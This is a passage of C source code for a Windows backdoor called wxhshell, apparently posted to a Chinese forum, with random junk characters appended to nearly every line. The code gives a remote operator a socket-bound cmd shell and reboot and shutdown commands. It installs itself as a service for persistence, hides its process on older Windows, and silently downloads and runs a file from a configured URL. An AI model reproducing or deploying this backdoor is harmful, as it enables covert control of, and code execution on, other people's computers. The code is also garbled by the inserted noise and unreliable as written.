    switch(cmd[0]) { Fv3fad@x  
  #R)$nv:h?^  
  // 帮助 {C<ch@sR  
  case '?': { 8\[6z0+;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LOQEU? z  
    break; m\Dbb.vBvW  
  } # wG}T .*  
  // 安装 E)`+1j  
  case 'i': { FuD$jsEw  
    if(Install()) 1|zo -'y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6I>Ry[2?  
    else SnVnC09y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V8c&2rNa  
    break; Pp}j=$&j\  
    } `=FfzL  
  // 卸载 X&K1>dgWP  
  case 'r': { $FD0MrB_+  
    if(Uninstall()) N[AX29  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#>{..}}3  
    else _xbVAI4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 D\I#g  
    break; lc*<UZR  
    } nzU@}/A/  
  // 显示 wxhshell 所在路径 ATwPfo8jx@  
  case 'p': { KF-n_:Bd+  
    char svExeFile[MAX_PATH]; E")82I  
    strcpy(svExeFile,"\n\r"); |n~- LH++  
      strcat(svExeFile,ExeFile); pN?  
        send(wsh,svExeFile,strlen(svExeFile),0); VG)kPKoi  
    break; .aNy)Yu8  
    } @k6>&PS  
  // 重启 O)W1.]GMbf  
  case 'b': { dC)@v]#h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GUMO;rZs  
    if(Boot(REBOOT)) ? -6oh~W<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z0c_&@uj*  
    else { 8)T.[AP  
    closesocket(wsh); ;Lz96R@}  
    ExitThread(0); './s'!Lj  
    } "/wZtc  
    break; oKzLt  
    } @q|I$'K]x  
  // 关机 p*vEVo  
  case 'd': { b]@^SN9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0p8(Q  
    if(Boot(SHUTDOWN)) u3kZOsG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hv8V=Z'Q  
    else { - wCfwC  
    closesocket(wsh); dZ_Hj X7  
    ExitThread(0); bz,C%HFA  
    } ^hLAMaR  
    break; `O*+%/(  
    } D/{hLp{  
  // 获取shell o AvX(  
  case 's': { E7ixl~  
    CmdShell(wsh); U }xRvNz  
    closesocket(wsh); tvavI9  
    ExitThread(0); wU+-;C5e  
    break; -FdhV%5]  
  } Eqnc("m)  
  // 退出 RP!X 5  
  case 'x': { usX aT(K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F~4oPB K<  
    CloseIt(wsh); BlMc<k  
    break; k\I+T~~xD  
    } S}mqK|!  
  // 离开 Q`'w)aV  
  case 'q': { g"^<LX-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Xbo:#  
    closesocket(wsh); $SA8$!:  
    WSACleanup(); 8Y_wS&eB  
    exit(1); HvLvSy1U  
    break; Xb.WI\Eh  
        } w 7s+6,  
  } 7:<co  
  } tWT@%(2~0  
} U\n:@:2B  
  // 提示信息 (w `9*1NO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cl/}PmYIZ  
} r< sx On  
  } |aIY  
,p {|f}0  
  return; 9/'zk  
} 09HlL=0q  
AQ7w5}g+V  
// shell模块句柄 %dw@;IZ#8{  
int CmdShell(SOCKET sock) fIWOo >)D  
{ 4'_PLOgnX  
STARTUPINFO si; EPkmBru ^  
ZeroMemory(&si,sizeof(si)); <#k(g\/R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n j0!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D% v{[ KY  
PROCESS_INFORMATION ProcessInfo; T5$db-^  
char cmdline[]="cmd"; Db3# ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1<IF@__  
  return 0; 3+ JkV\AF  
} HN?NY  
^`?2g[AA  
// 自身启动模式 !#xk?LyB  
int StartFromService(void) )! +~q!A  
{ P;G Rk6  
typedef struct ER-X1fD  
{ 6R1}fdHvP  
  DWORD ExitStatus; 1 CXO=Q  
  DWORD PebBaseAddress; xy;u"JY*  
  DWORD AffinityMask; 'So,*>]63  
  DWORD BasePriority; mO=bq4!  
  ULONG UniqueProcessId; P+K< /i  
  ULONG InheritedFromUniqueProcessId; ^--kcTiR%  
}   PROCESS_BASIC_INFORMATION; VI_8r5o  
X+dLk(jI`u  
PROCNTQSIP NtQueryInformationProcess; G6@XRib3  
)i|0Ubn[|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jga;nrU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J B[n]|  
)"KKBil0  
  HANDLE             hProcess; OpWTw&B"+  
  PROCESS_BASIC_INFORMATION pbi; Ps<;DE\$f4  
=cz^g^7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <MdIQ;I8  
  if(NULL == hInst ) return 0; oU"!"t  
{B|)!_M#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u2\QhP 9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;@/^hk{A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + xYU$e6Z  
9eR4?^(3!  
  if (!NtQueryInformationProcess) return 0; M it3q  
FglW|Hwy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ] 40@yrc  
  if(!hProcess) return 0; CmP_9M?ce  
Q^trKw~XNy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;[) O{%s  
?E +[  
  CloseHandle(hProcess); Fw.df<  
mQd L"caA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z.Y`"B'j`  
if(hProcess==NULL) return 0; K)DpC*j  
J> Z.2  
HMODULE hMod; !pT i.3  
char procName[255];  VB&` S+-  
unsigned long cbNeeded; 5TynAiSD_>  
1|bg;X9+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <b>g^ `}?D  
+ PAb+E|,  
  CloseHandle(hProcess); ^L4"X~eM  
Rq`d I~5!b  
if(strstr(procName,"services")) return 1; // 以服务启动 t nvCtuaR  
e)BU6m%  
  return 0; // 注册表启动 $@utlIXA'  
} 6>Dm cG:.  
2UbTKN  
// 主模块 Mj!g1Q  
int StartWxhshell(LPSTR lpCmdLine) "Sb<"$ :  
{ a*2JLK  
  SOCKET wsl; Lqa|9|!  
BOOL val=TRUE; <Dk6o`7^N  
  int port=0; to,\sc  
  struct sockaddr_in door; i(O+XQ}Fyx  
9Ib#A  
  if(wscfg.ws_autoins) Install(); `En>o~L;  
^7l+ Of b3  
port=atoi(lpCmdLine); 2r^G;,{  
;X;q8J^_K_  
if(port<=0) port=wscfg.ws_port; {J~VB~('  
0+{CN|0  
  WSADATA data; 8.WZC1N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ VTk0J-W  
;)Fc@OXN>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W @ ?*~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fswr @du  
  door.sin_family = AF_INET; Qo\+FkhYq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1[:tiTG|C  
  door.sin_port = htons(port); a1dkB"Zp.p  
r7FFZNs!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \DMZ M  
closesocket(wsl); c9O0YQ3&8  
return 1; nq%GLUH   
} 2'U+QK@  
&zV; p  
  if(listen(wsl,2) == INVALID_SOCKET) { @V=HY  
closesocket(wsl); uz;zmK  
return 1; a 8}!9kL  
} K#;EjR4H  
  Wxhshell(wsl); e| Sw+fhy<  
  WSACleanup(); :meq4!g{1  
#Y<QEGb(  
return 0; zBjbH=  
?s]+2Tq  
} PblO?@~O  
;&9wG`  
// 以NT服务方式启动 tRYi q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }rA _4%  
{ _z6" C8W  
DWORD   status = 0; *f-8egt-  
  DWORD   specificError = 0xfffffff; ]k)h<)nY  
v43FU3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (|dN6M-.K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \5DOp-2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ovsI2  
  serviceStatus.dwWin32ExitCode     = 0; #`qP7E w  
  serviceStatus.dwServiceSpecificExitCode = 0; \Xpq=2`  
  serviceStatus.dwCheckPoint       = 0; @)x8<  
  serviceStatus.dwWaitHint       = 0; q?$<{Z"  
} m&La4E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~y" ^t@!E  
  if (hServiceStatusHandle==0) return; !SAR/sdXf  
St|B9V?eEB  
status = GetLastError(); ? t_$C,A+  
  if (status!=NO_ERROR) 9jf2b  
{ -F&*>?I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bhf4 /$  
    serviceStatus.dwCheckPoint       = 0; D:#e;K  
    serviceStatus.dwWaitHint       = 0; s)5W:`MH?  
    serviceStatus.dwWin32ExitCode     = status; ueP a4e!  
    serviceStatus.dwServiceSpecificExitCode = specificError; + 0 |d2_]E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&C}' e"  
    return; &O\$=&, h  
  } Al^h^ 9tJ  
h e1=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \(;X3h  
  serviceStatus.dwCheckPoint       = 0; 8/T,.<5  
  serviceStatus.dwWaitHint       = 0; l'FNp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M ]uO%2  
} I%tJLdL  
:>o2UH  
// 处理NT服务事件,比如:启动、停止 !8}x6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m!sMr^W  
{ Uu(FFd~3  
switch(fdwControl) "zx4k8  
{ h ngdeGa  
case SERVICE_CONTROL_STOP: 8omk4 ;  
  serviceStatus.dwWin32ExitCode = 0; r8TNl@Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '[`pU>9  
  serviceStatus.dwCheckPoint   = 0; {wCzm  
  serviceStatus.dwWaitHint     = 0; cUD}SOW  
  { ";*Iwd*V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 't#E-+o  
  } k*k 9hv?  
  return; TKrh3   
case SERVICE_CONTROL_PAUSE: D)GD9MJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &- 2i+KjEX  
  break; n+H);Dg<8  
case SERVICE_CONTROL_CONTINUE: DcX,o*ec!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B`/p[U5  
  break; ,#hx%$f}d  
case SERVICE_CONTROL_INTERROGATE: BiI`oCX  
  break; $94l('B6H  
}; ZuVes?&j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L%5g]=  
} }1? 2  
/5r!Fhx  
// 标准应用程序主函数 .!yw@kg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7!jb ID~  
{ BjAmM*k  
M'}iIO`L  
// 获取操作系统版本 KpSho<  
OsIsNt=GetOsVer(); 99u9L)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ? yek\X  
'J(B{B7|  
  // 从命令行安装 u ioBI d  
  if(strpbrk(lpCmdLine,"iI")) Install(); ctT6va  
pHv~^L%=  
  // 下载执行文件 sFa5#w*>  
if(wscfg.ws_downexe) { $^louas&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f ,WAl\  
  WinExec(wscfg.ws_filenam,SW_HIDE); C ]+J  
} | x/Z qY  
?n V& :~eY  
if(!OsIsNt) { THf*<|  
// 如果时win9x,隐藏进程并且设置为注册表启动 \%$z!]S>  
HideProc(); 3%DDN\q\u  
StartWxhshell(lpCmdLine); " twq#Alx  
} \K%A}gnHe  
else  >q^l  
  if(StartFromService()) vY'E+M"+@  
  // 以服务方式启动 qgk6 \&K[  
  StartServiceCtrlDispatcher(DispatchTable); %eQw\o,a  
else `AcT}. u  
  // 普通方式启动 W=ar&O~}n  
  StartWxhshell(lpCmdLine); ;=F]{w]$+  
VtzX I2.2  
return 0; 4pC.mRu 0  
}
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只看该作者 1 发表于: 2006-10-10
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